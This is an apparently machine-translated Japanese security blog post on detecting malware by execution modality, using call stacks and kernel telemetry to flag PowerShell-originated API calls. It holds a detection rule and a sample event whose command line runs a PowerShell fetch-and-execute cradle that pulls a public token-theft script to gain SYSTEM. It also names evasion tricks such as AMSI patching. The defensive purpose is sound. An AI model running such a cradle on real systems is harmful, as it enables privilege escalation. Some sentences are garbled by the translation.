実行モダリティとは?
SpecterOpsのチーフストラテジストであり、セキュリティ戦略に関する著書を多数執筆しているJared Atkinson氏は、最近、マルウェアの手法とそれらを堅牢に検出する方法について推論するのに役立つ、非常に便利な実行モダリティの概念を紹介しました。要するに、実行モダリティは、悪意のある動作が何を行うかを単に定義するのではなく、悪意のある動作がどのように実行されるかを説明します。
たとえば、関心のある動作は Windows サービスの作成であり、モダリティはシステム ユーティリティ ('sc.exe' など)、PowerShell スクリプト、または間接的なシステム呼び出しを使用して Windows レジストリのサービス構成に直接書き込むシェルコードのいずれかです。
Atkinson氏は、特定の手法を検出することが目標である場合、コレクションがオペレーティングシステムの信頼できる情報源にできるだけ近いことを確認し、モダリティの仮定を排除する必要があると概説しました。
ケーススタディ:サービス作成モダリティ
Windows OS 内の一般的なサービス作成シナリオでは、インストーラーは を呼び出し、 サービスsc.exe create
RCreateService
services.exe
コントロール マネージャー (SCM、別名) のエンドポイントに対して RPC 呼び出しを行い、 カーネル モード構成マネージャー に対してシステム呼び出しを行い、レジストリにインストールされている サービスのデータベース を更新します。これは後でディスクにフラッシュされ、起動時にディスクから復元されます。
つまり、実行中のシステムの信頼できる情報源 はレジストリです (ただし、ハイブはディスクにフラッシュされ、オフラインで改ざんされる可能性があります)。
脅威ハンティングのシナリオでは、異常な sc.exe
コマンドラインを簡単に検出できますが、別のツールがService Control RPC呼び出しを直接行う場合があります。
脅威データを厳密に処理している場合は、異常なService Control RPC呼び出しも検出できますが、別のツールが間接的にシステム呼び出しを行ったり、 リモートレジストリなどの別のサービスを使用してサービスデータベースを間接的に更新したりする可能性があります。
つまり、これらの実行モダリティの一部は、 Windows イベント ログなどの従来のテレメトリをバイパスします。
では、構成マネージャーの変更をどのように監視するのでしょうか。カーネルパッチ保護のため、システムコールを直接確実に監視することはできませんが、Microsoftは代わりに構成マネージャーコールバックを提供しています。Elasticは、 サービス作成の検出に重点 を置き、オペレーティングシステムの信頼できる情報源にできるだけ近づけました。
ただし、この低レベルの可視性のトレードオフは、コンテキストが低下する可能性があることです。たとえば、Windows のアーキテクチャ上の決定により、セキュリティ ベンダーは、サービス データベース内のレジストリ キーの作成を要求している RPC クライアントを把握していません。Microsoft では、ユーザー モードの RPC サービスからの RPC クライアントの詳細のクエリのみがサポートされています。
Windows 10 21H1 以降、Microsoft はサービス作成イベント ログに RPC クライアントの詳細を含めるようになりました。このイベントは、堅牢性は劣りますが、異常な動作の原因を特定するのに役立つ可能性のある追加のコンテキストを提供することがあります。
彼らの悪用の歴史のために、いくつかのモダリティは追加のロギングで拡張されています - 重要な例の1つはPowerShellです。これにより、特定の手法を高い精度で検出できますが、これはPowerShell内で実行される場合に 限 られます。PowerShell の手法の検出カバレッジと、その手法の一般的なカバレッジを混同しないことが重要です。この微妙な違いは、 MITRE ATT&CK のカバレッジを見積もる際に重要です。レッドチームが定期的に示しているように、テクニックのカバー率が100%であることは、PowerShellに限って言えば、現実世界のカバー率は0%に近くなります。
Summiting the Pyramid (STP)は、MITREの関連する分析スコアリング手法です。PowerShell スクリプトブロックベースの検出の脆弱性についても同様の結論を出し、そのようなルールに低い堅牢性スコアを割り当てます。
プロセス作成ログや PowerShell ログなどの高レベルのテレメトリ ソースは、モダリティがほとんどカバーされていないため、ほとんどの手法を検出するのに非常に脆弱です。せいぜい、彼らは最も悪質なLiving off the Land(LotL)の乱用を検出するのを助けます。
アトキンソンは、議論の動機付けに使われた 例 で、次のような鋭い観察をしました。
重要な点は、検出における高次の目的は、モダリティベースではなく、行動ベースであるということです。したがって、PowerShell のセッション列挙 (モダリティ重視) ではなく、セッション列挙 (動作重視) の検出に関心を持つ必要があります。
しかし、それは話の半分に過ぎないこともあります。ツール自体がコンテキストから外れていることを検出する方が、手法を検出するよりも効率的な場合があります。実行モダリティ自体が異常である場合があります。
既知の手法を検出する代わりに、誤動作のモダリティを検出する方法があります。
コールスタックがモダリティを漏らす
Elasticの強みの1つは、ほとんどのイベントにコールスタックが含まれていることです。このレベルの通話出所の詳細は、特定のアクティビティが悪意のあるものか無害なものかを判断するのに大いに役立ちます。多くの場合、呼び出し履歴の概要は、実行モダリティを明らかにするのに十分です - PowerShell、.NET、RPC、WMI、VBA、Lua、Python、Java のランタイムはすべて、呼び出し履歴にトレースを残します。
最初のコール スタック ベースのルールには、Office VBA マクロ (vbe7.dll
) による子プロセスの生成やファイルの削除、および .NET ランタイムを読み込むバックアップされていない実行可能メモリに対するルールがありました。これらの例の両方で、手法自体はおおむね無害でした。それは主に異常であった行動の様式でした。
では、一般的な行動に焦点を当てた検出アプローチをモダリティに焦点を当てたアプローチに変えることができるのでしょうか?たとえば、PowerShell から発信 された 2 つの 目的の API 呼び出しの使用のみを検出することはできますか?
Elasticは、コールスタックを使用して、PowerShellスクリプトから発信されたAPI呼び出しと、PowerShellまたは.NETランタイムから発信されたAPI呼び出しを区別できます。
Threat-Intelligence ETW を 2 つの目的の API の近似として使用すると、"PowerShell スクリプトからの疑わしい API 呼び出し" のルールは非常に効果的でした。
api where
event.provider == "Microsoft-Windows-Threat-Intelligence" and
process.name in~ ("powershell.exe", "pwsh.exe", "powershell_ise.exe") and
/* PowerShell Script JIT - and incidental .NET assemblies */
process.thread.Ext.call_stack_final_user_module.name == "Unbacked" and
process.thread.Ext.call_stack_final_user_module.protection_provenance in ("clr.dll", "mscorwks.dll", "coreclr.dll") and
/* filesystem enumeration activity */
not process.Ext.api.summary like "IoCreateDevice( \\FileSystem\\*, (null) )" and
/* exclude nop operations */
not (process.Ext.api.name == "VirtualProtect" and process.Ext.api.parameters.protection == "RWX" and process.Ext.api.parameters.protection_old == "RWX") and
/* Citrix GPO Scripts */
not (process.parent.executable : "C:\\Windows\\System32\\gpscript.exe" and
process.Ext.api.summary in ("VirtualProtect( Unbacked, 0x10, RWX, RW- )", "WriteProcessMemory( Self, Unbacked, 0x10 )", "WriteProcessMemory( Self, Data, 0x10 )")) and
/* cybersecurity tools */
not (process.Ext.api.name == "VirtualAlloc" and process.parent.executable : ("C:\\Program Files (x86)\\CyberCNSAgent\\cybercnsagent.exe", "C:\\Program Files\\Velociraptor\\Velociraptor.exe")) and
/* module listing */
not (process.Ext.api.name in ("EnumProcessModules", "GetModuleInformation", "K32GetModuleBaseNameW", "K32GetModuleFileNameExW") and
process.parent.executable : ("*\\Lenovo\\*\\BGHelper.exe", "*\\Octopus\\*\\Calamari.exe")) and
/* WPM triggers multiple times at process creation */
not (process.Ext.api.name == "WriteProcessMemory" and
process.Ext.api.metadata.target_address_name in ("PEB", "PEB32", "ProcessStartupInfo", "Data") and
_arraysearch(process.thread.Ext.call_stack, $entry, $entry.symbol_info like ("?:\\windows\\*\\kernelbase.dll!CreateProcess*", "Unknown")))
検出に脆弱な PowerShell AMSI ログを使用する必要はありませんが、トリアージを支援するため、この詳細をコンテキストとしてイベントに提供できます。このモダリティベースのアプローチでは、次のような一般的なPowerShell防御回避の手口も検出されます。
- ntdll のフック解除
- AMSI パッチ適用
- ユーザー モード ETW 修正プログラムの適用
{
"event": {
"provider": "Microsoft-Windows-Threat-Intelligence",
"created": "2025-01-29T18:27:09.4386902Z",
"kind": "event",
"category": "api",
"type": "change",
"outcome": "unknown"
},
"message": "Endpoint API event - VirtualProtect",
"process": {
"parent": {
"executable": "C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe"
},
"name": "powershell.exe",
"executable": "C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe",
"code_signature": {
"trusted": true,
"subject_name": "Microsoft Windows",
"exists": true,
"status": "trusted"
},
"command_line": "\"powershell.exe\" & {iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/Get-System-Techniques/master/TokenManipulation/Get-WinlogonTokenSystem.ps1');Get-WinLogonTokenSystem}",
"pid": 21908,
"Ext": {
"api": {
"summary": "VirtualProtect( kernel32.dll!FatalExit, 0x21, RWX, R-X )",
"metadata": {
"target_address_path": "c:\\windows\\system32\\kernel32.dll",
"amsi_logs": [
{
"entries": [
"& {iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/Get-System-Techniques/master/TokenManipulation/Get-WinlogonTokenSystem.ps1');Get-WinLogonTokenSystem}",
"{iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/Get-System-Techniques/master/TokenManipulation/Get-WinlogonTokenSystem.ps1');Get-WinLogonTokenSystem}",
"function Get-WinLogonTokenSystem\n{\nfunction _10001011000101101\n{\n [CmdletBinding()]\n Param(\n [Parameter(Position = 0, Mandatory = $true)]\n [ValidateNotNullOrEmpty()]\n [Byte[]]\n ${_00110111011010011},\n ...<truncated>",
"{[Char] $_}",
"{\n [CmdletBinding()]\n Param(\n [Parameter(Position = 0, Mandatory = $true)]\n [Byte[]]\n ${_00110111011010011},\n [Parameter(Position = 1, Mandatory = $true)]\n [String]\n ${_10100110010101100},\n ...<truncated>",
"{ $_.GlobalAssemblyCache -And $_.Location.Split('\\\\')[-1].Equals($([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('UwB5AHMAdABlAG0ALgBkAGwAbAA=')))) }"
],
"type": "PowerShell"
}
],
"target_address_name": "kernel32.dll!FatalExit",
"amsi_filenames": [
"C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psd1",
"C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psm1"
]
},
"behaviors": [
"sensitive_api",
"hollow_image",
"unbacked_rwx"
],
"name": "VirtualProtect",
"parameters": {
"address": 140727652261072,
"size": 33,
"protection_old": "R-X",
"protection": "RWX"
}
},
"code_signature": [
{
"trusted": true,
"subject_name": "Microsoft Windows",
"exists": true,
"status": "trusted"
}
],
"token": {
"integrity_level_name": "high"
}
},
"thread": {
"Ext": {
"call_stack_summary": "ntdll.dll|kernelbase.dll|Unbacked",
"call_stack_contains_unbacked": true,
"call_stack": [
{
"symbol_info": "c:\\windows\\system32\\ntdll.dll!NtProtectVirtualMemory+0x14"
},
{
"symbol_info": "c:\\windows\\system32\\kernelbase.dll!VirtualProtect+0x3b"
},
{
"symbol_info": "Unbacked+0x3b5c",
"protection_provenance": "clr.dll",
"callsite_trailing_bytes": "41c644240c01833dab99f35f007406ff15b7b6f25f8bf0e85883755f85f60f95c00fb6c00fb6c041c644240c01488b55884989542410488d65c85b5e5f415c41",
"protection": "RWX",
"callsite_leading_bytes": "df765f4d63f64c897dc0488d55b8488bcee8ee6da95f4d8bcf488bcf488bd34d8bc64533db4c8b55b84c8955904c8d150c0000004c8955a841c644240c00ffd0"
}
],
"call_stack_final_user_module": {
"code_signature": [
{
"trusted": true,
"subject_name": "Microsoft Corporation",
"exists": true,
"status": "trusted"
}
],
"protection_provenance_path": "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\clr.dll",
"name": "Unbacked",
"protection_provenance": "clr.dll",
"protection": "RWX",
"hash": {
"sha256": "707564fc98c58247d088183731c2e5a0f51923c6d9a94646b0f2158eb5704df4"
}
}
},
"id": 17260
}
},
"user": {
"id": "S-1-5-21-47396387-2833971351-1621354421-500"
}
}
ロバスト性評価
Summiting the Pyramid分析スコアリング手法を使用して、PowerShellモダリティベースの検出ルールを従来のPowerShellと比較できます
アプリケーション(A) | ユーザーモード(U) | カーネルモード(K) | |
---|---|---|---|
コアから(サブ)テクニック(5) | [ ベスト ] カーネル ETW ベースの PowerShell モダリティ検出 | ||
コアから(サブ)テクニックの一部まで(4) | |||
コアから既存のツール (3) | |||
敵対者が持ち込んだツールへのコア (2) | AMSI および ScriptBlock ベースの PowerShell コンテンツ検出 | ||
エフェメラル (1) | [ 最悪 ] |
Summiting the Pyramid を使用した PowerShell 分析スコアリング
前述のように、ほとんどの PowerShell 検出は、STP スケールを使用して 2A の低い堅牢性スコアを受け取ります。これは、可能な限り最高の 5K スコアを受け取る PowerShell の誤動作モダリティ ルール とはまったく対照的です (Microsoft から適切なカーネル テレメトリが利用可能な場合)。
注意点の 1 つは、STP 分析スコアには、ルールのセットアップと保守のコストに関する測定値がまだ含まれていないことです。これは、特定のルールの既知の誤検知ソフトウェアリストのサイズによって概算される可能性がありますが、ほとんどのオープンルールセットには通常、この情報は含まれていません。私たちはそうしており、私たちのルールの場合、これまでに観察された誤検知は非常に管理しやすいものでした。
ただし、コールスタックをスプーフィングすることは可能ですか?
はい - そして少しいいえ。コールスタックはすべてカーネルにインラインで収集されますが、ユーザーモードのコールスタック自体は、マルウェアが制御する可能性のあるユーザーモードメモリに存在します。つまり、マルウェアが任意の実行を達成した場合、マルウェアは私たちが見るスタックフレームを制御できることを意味します。
確かに、 プライベートメモリからの デュアルパーパスAPI呼び出しは疑わしいですが、プライベートメモリを隠そうとするとさらに疑わしい場合があります。これは、次の形をとることができます。
- 上書きされたモジュールからの呼び出し。
- 先行する呼び出し命令のないリターン アドレス。
- 他のモジュールを介してプロキシされた通話。
呼び出しスタック制御だけでは不十分な場合があります。一部のコールスタック検出を真に回避するためには、攻撃者は通常のアクティビティと完全に調和したコールスタックを作成する必要があります。一部の環境では、セキュリティチームがこれを高精度でベースライン化できます。攻撃者が検出されないままでいることを困難にします。社内での研究に基づき、レッドチームのツール開発者の支援を受けて、すぐに使用できる検出機能も継続的に改善しています。
最後に、最新のCPUには、 Intel LBR、Intel BTS、Intel AET、 Intel IPT、 x64 CET 、 x64 Architectural LBRなど、スタックスプーフィングを検出するために使用できる多数の実行トレースメカニズムもあります。Elasticはすでにこれらのハードウェア機能の一部を利用しており、Microsoftに対しては、エクスプロイト保護以外のシナリオでも利用したいと考えているよう提案しており、Elastic自身もさらなる機能強化を調査しています。乞うご期待。
まとめ
実行モダリティは、攻撃者の手口を理解するための新しいレンズです。
しかし、個々のモダリティに対して特定の手法を検出することは、費用対効果の高いアプローチではありません - 単に手法が多すぎて、モダリティが多すぎます。それよりも、手法による検出をオペレーティングシステムの信頼できる情報源にできるだけ近づける必要があります。必要なアクティビティコンテキストを失わないように、または管理不能な誤検知を導入しないように注意してください。そのため、Elasticは カーネルETW がユーザーモードの ntdll
フックよりも優れていると考えており、真実のソースにより近いため、より堅牢な検出が可能になります。
モダリティベースの検出アプローチでは、特定のモダリティで予想される すべての 低レベルのテレメトリをベースライン化し、偏差 があれば トリガーすると、値が明らかになります。
歴史的に、攻撃者は利便性のためにモダリティを選択することができました。C# や PowerShell でツールを記述する方が、C やアセンブリでツールを作成するよりもコスト効率が高くなります。もし私たちが群れのモダリティを持つことができれば、コストを課すことになります。